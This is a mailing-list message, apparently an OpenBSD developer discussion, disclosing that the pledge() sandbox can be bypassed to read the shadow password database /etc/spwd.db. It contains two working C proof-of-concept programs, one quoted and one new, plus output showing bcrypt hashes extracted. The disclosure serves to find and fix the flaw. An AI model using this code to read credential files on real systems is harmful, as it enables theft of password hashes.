On Tue, Oct 24, 2017 at 01:45:42PM +0200, Daniel Hartmeier wrote: > So all an attacker has to do is call pledge() again, with LESS > permissive promises, i.e. giving up getpw? > > #include <stdio.h> > #include <unistd.h> > > int main() > { > if (pledge("stdio rpath getpw", NULL) == -1) > err("pledge"); > printf("first fopen %s\n", fopen("/etc/spwd.db", "r") ? > "succeeded" : "failed"); > if (pledge("stdio rpath", NULL) == -1) > err("pledge"); > printf("second fopen %s\n", fopen("/etc/spwd.db", "r") ? > "succeeded" : "failed"); > return 0; > } > > first fopen failed > second fopen succeeded > > Daniel
In Daniel's fashion I'm going to provide a program that busts through pledge "rpath wpath getpw" on /etc/spwd.db and there is 42 such instances in the system according to this: # cd /usr/src # grep -R pledge * | grep rpath | grep wpath | grep getpw | awk -F: '{print $1}' | sort -u |wc -l An attacker could make use of this by opening spwd.db O_RDWR... -------------> #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { struct stat sb; char *mm; int fd; int i; if (pledge("stdio rpath wpath getpw", NULL) < 0) { perror("pledge"); exit(1); } fd = open("/etc/spwd.db", O_RDONLY, 0600); if (fd < 0) { perror("open"); fprintf(stderr, "reopening O_RDWR..\n"); fd = open("/etc/spwd.db", O_RDWR, 0600); } fstat(fd, &sb); mm = (char *)mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0); if (mm == MAP_FAILED) { perror("mmap"); exit(1); } for (i = 0; i < sb.st_size; i++) { printf("%c", mm[i]); } munmap(mm, sb.st_size); close(fd); exit(0); } <------------- beta$ ./mmaptest | strings | grep '$2b' |wc -l open: Operation not permitted reopening O_RDWR.. 6 I think this could be abused... Regards, -peter